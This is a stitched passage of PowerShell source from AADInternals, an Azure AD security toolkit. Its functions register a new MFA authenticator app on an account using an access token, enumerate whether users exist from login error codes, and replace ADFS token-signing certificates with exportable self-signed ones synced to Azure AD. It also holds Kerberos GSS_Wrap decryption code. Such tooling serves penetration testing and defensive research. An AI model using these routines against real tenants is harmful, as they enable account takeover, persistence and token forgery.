[String]$Type="APP" ) Process { # Create the headers $headers=@{ "Authorization" = "Bearer $AccessToken" "Content-Type" = "application/json" "User-Agent" = Get-Setting -Setting "User-Agent" } # Registration type if($Type -eq "APP") { $securityInfoType = 2 } elseif($Type -eq "OTP") { $securityInfoType = 3 } try { # Get the authorization information $response = Invoke-RestMethod -UseBasicParsing -Uri "https://account.activedirectory.windowsazure.com/securityinfo/Authorize" -Method POST -Headers $headers } catch { throw $_ } # Strip the carbage from the start and convert to psobject $response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json # Verbose Write-Verbose "Authorization information" Write-Verbose " Is authorized: $($response.isAuthorized)" Write-Verbose " Require MFA: $($response.requireMfa)" Write-Verbose " Require NGC MFA: $($response.requireNgcMfa)" Write-Verbose " Prompt for login: $($response.promptForLogin)" Write-Verbose " My star enabled: $($response.isMyStarEnabled)" # Check is user authorized to register MFA with this access token if(!$response.isAuthorized) { throw "User is not authorized to register MFA! Use -Verbose for details." } # Extract the session context and update headers $sessionCtx = $response.sessionCtx $headers["SessionCtx"] = $sessionCtx # Get the needed codes $response = Invoke-RestMethod -UseBasicParsing -Uri "https://account.activedirectory.windowsazure.com/securityinfo/InitializeMobileAppRegistration" -Method POST -Headers $headers -Body "{""securityInfoType"": $securityInfoType}" # Strip the carbage from the start and convert to psobject $response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json # Add the session context to return value $response | Add-Member -NotePropertyName "SessionCtx" -NotePropertyValue $sessionCtx Write-Verbose "Registration info:`n$response" # Return return $response } } # Sends a new MFA App activation # Jul 2nd 2020 function Send-MFAAppNewActivation { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken, [Parameter(Mandatory=$True)] $RegistrationInfo, [Parameter(Mandatory=$True)] [String]$DeviceToken, [Parameter(Mandatory=$False)] [String]$DeviceName="AADInternals" ) Process { $url = $RegistrationInfo.Url # Append the PfPaWs.asmx if not included if(!$Url.EndsWith($PfPaWs)) { if(!$Url.EndsWith("/")) { $Url+="/"; } $Url+=$PfPaWs; } # Create the headers $headers=@{ "SOAPAction" = "http://www.phonefactor.com/PfPaWs/ActivateNew" "Content-Type" = "text/xml; charset=utf-8" "User-Agent" = "Dalvik/2.1.0 (Linux; U; Android 8.1.0; AADInternals)" } $body=@" <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs"> <soap:Header/> <soap:Body> <ns4:ActivateNew> <ns4:activationParams> <ns4:ActivationCode>$($RegInfo.ActivationCode)</ns4:ActivationCode> <ns4:DeviceToken>$DeviceToken</ns4:DeviceToken> <ns4:DeviceName>$DeviceName</ns4:DeviceName> <ns4:OathCounter>$(Get-OathCounter)</ns4:OathCounter> <ns4:Version>$Version</ns4:Version> </ns4:activationParams> </ns4:ActivateNew> </soap:Body> </soap:Envelope> "@ # Send the activation request $response = Invoke-RestMethod -UseBasicParsing -Uri $Url -Method POST -Headers $headers -Body $body # Extract the activation information $activationInformation=$response.Envelope.Body.ActivateNewResponse.activationInfo Write-Verbose "Activation info:`n$activationInformation" # Return return $activationInformation } } # Sends a new MFA App activation confirmation # Jul 2nd 2020 function Send-MFAAppNewActivationConfirmation { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken, [Parameter(Mandatory=$True)] $RegistrationInfo, [Parameter(Mandatory=$True)] $ActivationInfo ) Process { $url = $RegistrationInfo.Url # Append the PfPaWs.asmx if not included if(!$Url.EndsWith($PfPaWs)) { if(!$Url.EndsWith("/")) { $Url+="/"; } $Url+=$PfPaWs; } # Create the headers $headers=@{ "SOAPAction" = "http://www.phonefactor.com/PfPaWs/ConfirmActivation" "Content-Type" = "text/xml; charset=utf-8" "User-Agent" = "Dalvik/2.1.0 (Linux; U; Android 8.1.0; AADInternals)" } # Create the body $body=@" <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs"> <soap:Header/> <soap:Body> <ns4:ConfirmActivation> <ns4:confirmationCode>$($ActivationInfo.ConfirmationCode)</ns4:confirmationCode> </ns4:ConfirmActivation> </soap:Body> </soap:Envelope> "@ # Send the activation confirmation $response = Invoke-RestMethod -UseBasicParsing -Uri $Url -Method POST -Headers $headers -Body $body Write-Verbose "Confirmation Activation: $($response.Envelope.Body.ConfirmActivationResponse.ConfirmActivationResult)" # Return return $response.Envelope.Body.ConfirmActivationResponse.ConfirmActivationResult -eq "true" } } # Adds the new device # Jul 2nd 2020 function Add-MFAAppAddDevice { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken, [Parameter(Mandatory=$True)] $RegistrationInfo, [ValidateSet("APP","OTP")] [String]$Type="APP" ) Process { # Set the headers $headers=@{ "Authorization" = "Bearer $AccessToken" "SessionCtx" = $RegistrationInfo.SessionCtx #"Access-Control-Request-Method" = "POST" #"Access-Control-Request-Headers" ="ajaxrequest,authorization,content-type,sessionctx" "Origin" = "https://mysignins.microsoft.com" "Sec-Fetch-Site" = "cross-site" "Sec-Fetch-Mode" = "cors" "Sec-Fetch-Dest" = "empty" "Content-Type" = "application/json" } if($Type -eq "APP") { $securityType = 2 $secretKey = $RegistrationInfo.ActivationCode } elseif($Type -eq "OTP") { $securityType = 3 $secretKey = $RegistrationInfo.SecretKey } $body="{""Type"":$securityType,""Data"":""{\""secretKey\"":\""$secretKey\"",\""affinityRegion\"":\""$($RegistrationInfo.AffinityRegion)\""}""}" $state=0 $counter=0 # Loop until we get the context or fail for 10 times while($state -ne 1 -and ($counter++) -lt 11) { # Wait Start-Sleep -Seconds 2 Write-Verbose "Adding MFA application #$counter" # Send the AddSecurityInfo request $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://account.activedirectory.windowsazure.com/securityinfo/AddSecurityInfo" -Headers $headers -Body $body # Strip the carbage from the start and convert to psobject $response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json # Get the verification state $state = $response.VerificationState } Write-Verbose "Verification context: $($response.VerificationContext)" # Return return $response.VerificationContext } } # Sends MFA App verification request # Jul 2nd 2020 function Verify-MFAAppAddDevice { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken, [Parameter(Mandatory=$True)] $RegistrationInfo, [Parameter(Mandatory=$True)] [String]$VerificationContext, [ValidateSet("APP","OTP")] [String]$Type="APP" ) Process { # Set the headers $headers=@{ "Authorization" = "Bearer $AccessToken" "SessionCtx" = $RegistrationInfo.SessionCtx #"Access-Control-Request-Method" = "POST" #"Access-Control-Request-Headers" ="ajaxrequest,authorization,content-type,sessionctx" "Origin" = "https://mysignins.microsoft.com" "Sec-Fetch-Site" = "cross-site" "Sec-Fetch-Mode" = "cors" "Sec-Fetch-Dest" = "empty" "Content-Type" = "application/json" } if($Type -eq "APP") { $securityType = 2 $verificationData = $null } elseif($Type -eq "OTP") { $securityType = 3 $verificationData = (New-AADIntOTP -SecretKey $RegistrationInfo.SecretKey).OTP.replace(" ","") Start-Sleep -Seconds 3 } # Create the body $body = "{""Type"":$securityType,""VerificationContext"":""$VerificationContext"",""VerificationData"":$verificationData}" $state=0 $counter=0 $dataUpdates="" # Loop until we get the data or fail for 10 times while([string]::IsNullOrEmpty($dataUpdates) -and ($counter++) -lt 11) { # Wait Start-Sleep -Seconds 2 Write-Verbose "Sending VerifySecurityInfo message #$counter" # Send the VerifySecurityInfo message $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://account.activedirectory.windowsazure.com/securityinfo/VerifySecurityInfo" -Headers $headers -Body $body # Strip the carbage from the start and convert to psobject $responseBody=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json # Get the verification state $dataUpdates = $responseBody.Dataupdates } Write-Verbose "Data Updates: $dataUpdates" # Return return $dataUpdates } }
KillChain_utils.ps1
AADInternals-0.9.4
# Checks whether the domain has MX records pointing to MS cloud # Jun 16th 2020 # Aug 30th 2022: Fixed by maxgrim function HasCloudMX { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Use the correct filter switch($SubScope) { "DOD" # DoD { $filter = "*.protection.office365.us" } "DODCON" # GCC-High { $filter = "*.protection.office365.us" } default # Commercial/GCC { $filter = "*.mail.protection.outlook.com" } } $results=Resolve-DnsName -Name $Domain -Type MX -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | Select-Object nameexchange | Select-Object -ExpandProperty nameexchange $filteredResults=$results -like $filter return ($filteredResults -eq $true) -and ($filteredResults.Count -gt 0) } } # Checks whether the domain has SPF records allowing sending from cloud # Jun 16th 2020 function HasCloudSPF { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Use the correct filter switch($SubScope) { "DOD" # DoD { $filter = "*include:spf.protection.office365.us*" } "DODCON" # GCC-High { $filter = "*include:spf.protection.office365.us*" } default # Commercial/GCC { $filter = "*include:spf.protection.outlook.com*" } } $results=Resolve-DnsName -Name $Domain -Type txt -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | Select-Object strings | Select-Object -ExpandProperty strings return ($results -like $filter).Count -gt 0 } } # Checks whether the domain has SPF records allowing sending from cloud # Sep 23rd 2020 function HasDMARC { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Domain ) Process { try { $results=Resolve-DnsName -Name "_dmarc.$Domain" -Type txt -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue | Select-Object strings | Select-Object -ExpandProperty strings }catch{} return ($results -like "v=DMARC1*").Count -gt 0 } } # Checks whether the domain has DKIM records for Exchange Online # Aug 14rd 2023 function HasCloudDKIM { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Use the correct filter switch($SubScope) { "DOD" # DoD { $filter = "*_domainkey.*.onmicrosoft.us*" } "DODCON" # GCC-High { $filter = "*_domainkey.*.onmicrosoft.us*" } default # Commercial/GCC { $filter = "*_domainkey.*.onmicrosoft.com*" } } $selectors = @("selector1", "selector2") foreach ($selector in $selectors) { try { $results = Resolve-DnsName -Name "$selector._domainkey.$($Domain)" -Type CNAME -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue if($results.NameHost -like $filter) { return $true } }catch {} } return $false } } # Checks whether the domain has MTA-STS records for Exchange Online # Aug 14rd 2023 function HasCloudMTASTS { param ( [Parameter(Mandatory=$True)] [string]$Domain, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Use the correct filter switch($SubScope) { "DOD" # DoD { $filter = "*include:spf.protection.office365.us*" } "DODCON" # GCC-High { $filter = "*mx: *.mail.protection.office365.us*" } default # Commercial/GCC { $filter = "*mx: *.mail.protection.outlook.com*" } } $url = "https://mta-sts.$Domain/.well-known/mta-sts.txt" $mtaStsFound = $false $outlookMxFound = $false try { $mtaStsResponse = Invoke-WebRequest -UseBasicParsing -Uri $url -ErrorAction Stop -Headers @{"User-agent" = Get-UserAgent} $mtaStsContent = $mtaStsResponse.Content $mtaStsLines = $mtaStsContent -split "`r?`n" foreach ($line in $mtaStsLines) { if ($line -like "version: STSv1") { $mtaStsFound = $true } if ($line -like $filter) { $outlookMxFound = $true } } } catch { $mtaStsFound = $false $outlookMxFound = $false } return ($mtaStsFound -eq $true) -and ($outlookMxFound -eq $true) } } # Checks whether the domain has DesktopSSO enabled # Jun 16th 2020 function HasDesktopSSO { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Domain, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { (Get-CredentialType -UserName "nn@$domain" -SubScope $Subscope).EstsProperties.DesktopSsoEnabled -eq "True" } } # Checks whether the domain has CBA enabled # Jun 17th 2022 function HasCBA { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { (Get-CredentialType -UserName $UserName -SubScope $SubScope).Credentials.HasCertAuth -eq "True" } } # Checks whether the user exists in Azure AD or not # Jun 16th 2020 function DoesUserExists { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$User, [Parameter(Mandatory=$False)] [ValidateSet("Normal","Login","Autologon","RST2")] [String]$Method="Normal", [Parameter(Mandatory=$False)] [String]$SubScope ) Process { $exists = $false # Get Tenant Region subscope from Open ID configuration if not provided if([string]::IsNullOrEmpty($SubScope)) { $SubScope = Get-TenantSubscope -Domain $User.Split("@")[1] } if($Method -eq "Normal") { # Get the credential type information $credType=Get-CredentialType -UserName $User -SubScope $SubScope # Works only if desktop sso (aka. Seamless SSO) is enabled # Since August 2021 this seems to work for all tenants! #if($credType.EstsProperties.DesktopSsoEnabled -eq "True") #{ # Return empty if throttling if($credType.ThrottleStatus -eq 1) { Write-Warning "Requests throttled!" Remove-Variable exists } else { $exists = $credType.IfExistsResult -eq 0 -or $credType.IfExistsResult -eq 6 } #} #else #{ # Remove-Variable exists #} } else { if($Method -eq "Login") { # Try to log in as the user $randomGuid = New-Guid $body = @{ "resource"=$randomGuid "client_id"=$randomGuid "grant_type"="password" "username"=$User "password"="none" "scope"="openid" } try { $jsonResponse=Invoke-RestMethod -UseBasicParsing -Uri "$(Get-TenantLoginUrl -SubScope $SubScope)/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Method POST -Body $body -Headers @{"User-agent" = Get-UserAgent} $exists = $True # May be should change password..? } catch { $errorDetails = ($_.ErrorDetails.Message | convertfrom-json).error_description } } elseif("Autologon","RST2".Contains($Method)) { $requestId = (New-Guid).ToString() $domain = $User.Split("@")[1] $password = "none" $now = Get-Date $created = $now.toUniversalTime().toString("o") $expires = $now.addMinutes(10).toUniversalTime().toString("o") if($Method -eq "RST2") { # RST2 $url = "$(Get-TenantLoginUrl -SubScope $SubScope)/RST2.srf" $endPoint = "sharepoint.com" } else { # AutoLogon $url = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid" $endPoint = "urn:federation:MicrosoftOnline" } $exists = $false try { $response = Get-RSTToken -Url $url -EndpointAddress $endPoint -UserName $User -Password $password $exists = $true # Very bad password } catch { $errorDetails = $_.Exception.Message } } # Parse the error code. Only AADSTS50034 would need to be checked but good to know other errors too. if(!$exists -and $errorDetails) { if($errorDetails.startsWith("AADSTS50053")) # The account is locked, you've tried to sign in too many times with an incorrect user ID or password. { $exists = $True } elseif($errorDetails.StartsWith("AADSTS50126")) # Error validating credentials due to invalid username or password. { $exists = $True } elseif($errorDetails.StartsWith("AADSTS50076")) # Due to a configuration change made by your administrator, or because you moved to a new location, you must use multi-factor authentication to access '{resource}' { $exists = $True } elseif($errorDetails.StartsWith("AADSTS700016")) # Application with identifier '{appIdentifier}' was not found in the directory '{tenantName}'. This can happen if the application has not been installed by the administrator of the tenant or consented to by any user in the tenant. You may have sent your authentication request to the wrong tenant. { $exists = $True } elseif($errorDetails.StartsWith("AADSTS70046")) # The session has expired or is invalid due to re-authentication checks by conditional access. (= Blocked due to risky sign-in) { $exists = $True } elseif($errorDetails.StartsWith("AADSTS50034")) # The user account {identifier} does not exist in the {tenant} directory. To sign into this application, the account must be added to the directory. { $exists = $False } elseif($errorDetails.StartsWith("AADSTS50059")) # No tenant-identifying information found in either the request or implied by any provided credentials. { $exists = $False } elseif($errorDetails.StartsWith("AADSTS81016")) # Invalid STS request. { Write-Warning "Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled." Remove-Variable exists } else { # Can't be sure so return empty Remove-Variable exists } } } return $exists } } # Checks whether the tenant has MDI enabled # Mar 11th 2023 function GetMDIInstance { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Tenant ) Process { # Ref: https://learn.microsoft.com/en-us/defender-for-identity/configure-proxy#enable-access-to-defender-for-identity-service-urls-in-the-proxy-server # Ref: https://github.com/thalpius/Microsoft-Defender-for-Identity-Check-Instance # The MDI url is <instance>.atp.azure.com where instance is the tenant or tenant-onmicrosoft-com # Get the instance part if FQDN is provided if($Tenant.IndexOf(".") -ge 0) { $Tenant=$Tenant.Substring(0,$Tenant.IndexOf(".")) } Write-Verbose "Getting MDI Instance for $Tenant" $domains =@( "$tenant.atp.azure.com", "$tenant-onmicrosoft-com.atp.azure.com" ) foreach($domain in $domains) { $results=Resolve-DnsName -Name $Domain -DnsOnly -NoHostsFile -NoIdn -ErrorAction SilentlyContinue if($results) { return $domain } } return $null } }
ADFS_utils.ps1
AADInternals-0.9.4
# Updated Apr 22nd 2021 #May 24th 2019 function New-ADFSSelfSignedCertificates { <# .SYNOPSIS Creates new self-signed Token Signing and Token Decrypt certificates for ADFSService .Description Disables auto rollover and creates new self-signed Token Signing and Token Decrypt certificates for ADFSService. Certificates are added to ADFS and the service is restarted. Certificates are also saved to the current directory. .Parameter PfxPassword Password for the Token Signing and Token Decrypt .pfx files. Default is "AADInternals". .Example New-AADIntADFSSelfSignedCertificates .Example New-AADIntADFSSelfSignedCertificates -PfxPassword "MyPassword" #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$PfxPassword="AADInternals", [Switch]$Force ) Process { # Set the password $CertificatePassword = ConvertTo-SecureString -String $pfxPassword -Force -AsPlainText # Check the auto rollover status if(!$Force -and !(Get-AdfsProperties).AutoCertificateRollover) { Write-Error "Certificate Auto Rollover is allready disabled!" return } # Disable auto rollover Set-ADFSProperties -AutocertificateRollover $false # Get the current certificates $Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing $Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting # Create new certificates with the same name and store to LocalMachine store $New_SigningCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_SigningCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_SigningCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange $New_DecryptCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_DecryptCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_DecryptCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange # Export the new certificates Export-PfxCertificate -FilePath "ADFS_Token_Signing.pfx" -Password $CertificatePassword -Cert $New_SigningCertificate |Out-Null Export-PfxCertificate -FilePath "ADFS_Token_Decrypt.pfx" -Password $CertificatePassword -Cert $New_DecryptCertificate |Out-Null # Add certificates to ADFS Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint Add-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint # Set the new ones as primary Set-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint -IsPrimary Set-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint -IsPrimary # Remove the old ones from ADFS Remove-AdfsCertificate -CertificateType Token-Signing -Thumbprint $Cur_SigningCertificate.Thumbprint Remove-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $Cur_DecryptCertificate.Thumbprint # Get the ADFS service information $Service=Get-WMIObject -namespace "root\cimv2" -class Win32_Service -Filter 'Name="ADFSSRV"' # Create an accessrule for private keys $AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $service.StartName, "read", allow $Root = "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys" # Give read permissions to private key of Signing Certificate $rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_SigningCertificate) $fileName = $rsaCert.key.UniqueName $path="$Root\$fileName" $permissions = Get-Acl -Path $path $permissions.AddAccessRule($AccessRule) Set-Acl -Path $path -AclObject $permissions # Give read permissions to private key of Decryption Certificate $rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_DecryptCertificate) $fileName = $rsaCert.key.UniqueName $path="$Root\$fileName" $permissions = Get-Acl -Path $path $permissions.AddAccessRule($AccessRule) Set-Acl -Path $path -AclObject $permissions # Restart ADFS service Restart-Service ADFSSrv # Output Write-Host "Certificates successfully created and added to ADFS!" Write-Host "Certificates also exported to ADFS_Token_Decrypt.pfx and ADFS_Token_Signing.pfx using password `"$PfxPassword`"" Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!" } } #May 24th 2019 function Restore-ADFSAutoRollover { <# .SYNOPSIS Restores ADFS to "normal" mode: Token Signing and Token Decryption certificates are automatically rolled over once a year. .Description Enables certificate auto rollover, updates Token Signing and Token Decryption certificates and removes the old self-signed certificates. .Example Restore-AADIntADFSAutoRollover #> [cmdletbinding()] Param( [Switch]$Force ) Process { # Check the auto rollover status if(!$Force -and (Get-AdfsProperties).AutoCertificateRollover) { Write-Error "Certificate Auto Rollover is allready enabled!" return } # Enable auto rollover Set-ADFSProperties -AutocertificateRollover $true # Get the current certificates $Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing $Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting # Update certificates Update-AdfsCertificate -CertificateType Token-Signing -Urgent Update-AdfsCertificate -CertificateType Token-Decrypting -Urgent # Remove the old certificates from the certificate store Remove-Item "Cert:\LocalMachine\My\$($Cur_SigningCertificate.Thumbprint)" -ErrorAction SilentlyContinue Remove-Item "Cert:\LocalMachine\My\$($Cur_DecryptCertificate.Thumbprint)" -ErrorAction SilentlyContinue # Restart ADFS service Restart-Service ADFSSrv # Output Write-Host "Autorollover succesfully turned on and old certificates removed from ADFS and certstore." Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!" } } #May 25th 2019 function Update-ADFSFederationSettings { <# .SYNOPSIS Updates federation information of the given domain to match the local ADFS server information. .Description Updates federation information of the given domain to match the local ADFS server information. .Parameter AccessToken Access Token .Parameter Domain The domain to be updated .Example Update-AADIntADFSFederationSettings -Domain company.com #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [string]$DomainName ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" # Get the current settings from cloud $FederationSettings = Get-DomainFederationSettings -DomainName $DomainName -AccessToken $AccessToken # Get the current certificates $Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing #$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pkcs12)) $Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.GetRawCertData()) # Check the settings if($Cur_PublicKey -eq $FederationSettings.SigningCertificate) { Write-Host "Settings already up to date!" return } # Update federation settings Set-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName ` -ActiveLogOnUri $FederationSettings.ActiveLogOnUri ` -FederationBrandName $FederationSettings.FederationBrandName ` -IssuerUri $FederationSettings.IssuerUri ` -LogOffUri $FederationSettings.LogOffUri ` -MetadataExchangeUri $FederationSettings.MetadataExchangeUri ` -PassiveLogOnUri $FederationSettings.PassiveLogOnUri ` -PreferredAuthenticationProtocol $FederationSettings.PreferredAuthenticationProtocol ` -SigningCertificate $Cur_PublicKey Write-Host "Federation information updated!" } } # Parses GSS_Wrap and returns the encrypted data part # Apr 1st 2021 function Parse-GSS_Wrap { Param( [Parameter(Mandatory=$True)] [Byte[]]$Data, [Parameter(Mandatory=$True)] [Byte[]]$SessionKey, [Parameter(Mandatory=$False)] [ValidateSet('Initiator','Acceptor')] [String]$Direction = 'Initiator', [Parameter(Mandatory=$True)] [Int]$SequenceNumber, [Parameter(Mandatory=$False)] [Int]$Type = 23 # 23 = rc4-hmac, 18 = aes256-cts-hmac-sha1-96 ) Process { if($Type -eq 18 ) # aes256-cts-hmac-sha1-96 { # TODO: implement support for this Throw "Unsupported GSS_WRAP type: $Type" $s = 0 # Get the token header information $TOK_ID = $Data[$s..($s+1)] ; $s+=2 $Flags = $Data[ $s] ; $s+=1 $Filler = $Data[ $s] ; $s+=1 $EC = $Data[$s..($s+1)] ; $s+=2 $RRC = $Data[$s..($s+1)] ; $s+=2 $SND_SEQ = $Data[$s..($s+7)] ; $s+=8 [array]::Reverse($RRC) $rotations = [bitconverter]::TouInt16($RRC,0) [array]::Reverse($SND_SEQ) if([bitconverter]::TouInt32($SND_SEQ,0) -ne $SequenceNumber) { Write-Warning "Sequence number mismatch!" } # Extract token information $encData = $Data[$s..($data.Count - 1)] # Rotate the data for($r = 0; $r -lt $rotations; $r++) { $t = $encData[$encData.Count-1] for($i = $encData.Count-1 ; $i -gt 0; $i--) { $encData[$i] = $encData[$i-1] } $encData[0] = $t } $encData | Format-Hex return } elseif($Type -eq 23) # rc4-hmac { # Generate the sequence number from the given integer and add "direction" bytes $SND_SEQ = [System.BitConverter]::GetBytes([uint32]$SequenceNumber) [Array]::Reverse($SND_SEQ) if($Direction -eq 'Initiator') { $SND_SEQ += @(0xff, 0xff, 0xff, 0xff) } else { $SND_SEQ += @(0x00, 0x00, 0x00, 0x00) } # Get object identifier $tokLen = $Data[1] $oidLen = $Data[3] $oid = Convert-BytesToOid -Bytes $Data[4..(4+$oidLen-1)] $s = 4+$oidLen # Save the header for checksum calculation $TOKEN_HEADER = $Data[$s..($s+7)] # Get the token header information $TOK_ID = $Data[$s..($s+1)] ; $s+=2 $SGN_ALG = $Data[$s..($s+1)] ; $s+=2 $SEAL_ALG = $Data[$s..($s+1)] ; $s+=2 $Filler = $Data[$s..($s+1)] ; $s+=2 # Extract token information $encSND_SEQ = $Data[$s..($s+7)] ; $s+=8 $SGN_CHKSUM = $Data[$s..($s+7)] ; $s+=8 $encSGN_Confounder = $Data[$s..($s+7)] ; $s+=8 $encData = $Data[$s..($data.Count - 1)] # Validation # Token id should be 0x0102 if(($tid=[System.BitConverter]::ToInt16($TOK_ID,0)) -ne 0x102) { Write-Warning "Unknown TOKEN_ID ($tid), expected 256" } # Signing algorithm should be HMAC 0x0011 if(($sgalg=[System.BitConverter]::ToInt16($SGN_ALG,0)) -ne 0x11) { Write-Warning "Unknown SGN_ALG ($sgalg), expected HMAC (17)" } # Encryption algorithm should be RC4 0x0010 if(($enalg=[System.BitConverter]::ToInt16($SEAL_ALG,0)) -ne 0x10) { Write-Warning "Unknown SEAL_ALG ($enalg), expected RC4 (16)" } # Generate signature key by calculating MD5 HMAC from "signaturekey"+0x00 using the session key $Ksign = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([text.encoding]::UTF8.GetBytes("signaturekey`0")) # Generate decryption keys $Klocal = New-Object byte[] $SessionKey.Count for($a = 0 ; $a -lt $SessionKey.Count ; $a++) { $Klocal[$a] = $SessionKey[$a] -bxor 0xF0 } $Kseq = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00)) $Kseq = [System.Security.Cryptography.HMACMD5]::New($Kseq ).ComputeHash($SGN_CHKSUM) $Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Klocal ).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00)) $Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Kcrypt ).ComputeHash($SND_SEQ[0..3]) # Decrypt sequence number $decSND_SEQ = Get-RC4 -Key $Kseq -Data $encSND_SEQ if(Compare-Object -ReferenceObject $decSND_SEQ -DifferenceObject $SND_SEQ -SyncWindow 0) { Write-Warning "Sequence number mismatch!" } # Decrypt data $decSGN_Confounder = Get-RC4 -Key $Kcrypt -Data $encSGN_Confounder $decData = Get-RC4 -Key $Kcrypt -Data @($decSGN_Confounder + $encData) $decData = $decData[8..($decData.Count-1)] $decSGN_CHKSUM = Get-RC4 -Key $Kcrypt -Data $encSGN_CHKSUM # Calculate MD5 checksum: Salt + header + confounder + data $SGN_CHKSUM2 = [System.Security.Cryptography.MD5 ]::Create().ComputeHash(@(@(13,0,0,0) + $TOKEN_HEADER + $decSGN_Confounder + $decData)) $SGN_CHKSUM2 = ([System.Security.Cryptography.HMACMD5]::New($Ksign).ComputeHash($SGN_CHKSUM2))[0..7] if(Compare-Object -ReferenceObject $SGN_CHKSUM -DifferenceObject $SGN_CHKSUM2 -SyncWindow 0) { Write-Warning "Invalid checksum!" } return $decData } else { Throw "Unsupported GSS_WRAP type: $Type" } } } # pHash # https://www.ietf.org/rfc/rfc2246.txt # Apr 5th 2021 function Get-PSHA1 { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [byte[]]$Secret, [Parameter(Mandatory=$True)] [byte[]]$Seed, [Parameter(Mandatory=$False)] [int]$Bytes=32 ) Process { [System.Security.Cryptography.HMACSHA1]$HMAC = [System.Security.Cryptography.HMACSHA1]::New($Secret) $PSHA1=@() $A = $seed $p = 0 while($p -lt $Bytes) { $A = $HMAC.ComputeHash($A) $PSHA1 += $HMAC.ComputeHash(($A + $Seed)) $p+=$A.Count } $HMAC.Dispose() return [byte[]]($PSHA1[0..($Bytes-1)]) } } # Decrypts the given ciphertext # Apr 9th 2021 function Decrypt-WSTrustCipherData { [cmdletbinding()] Param( 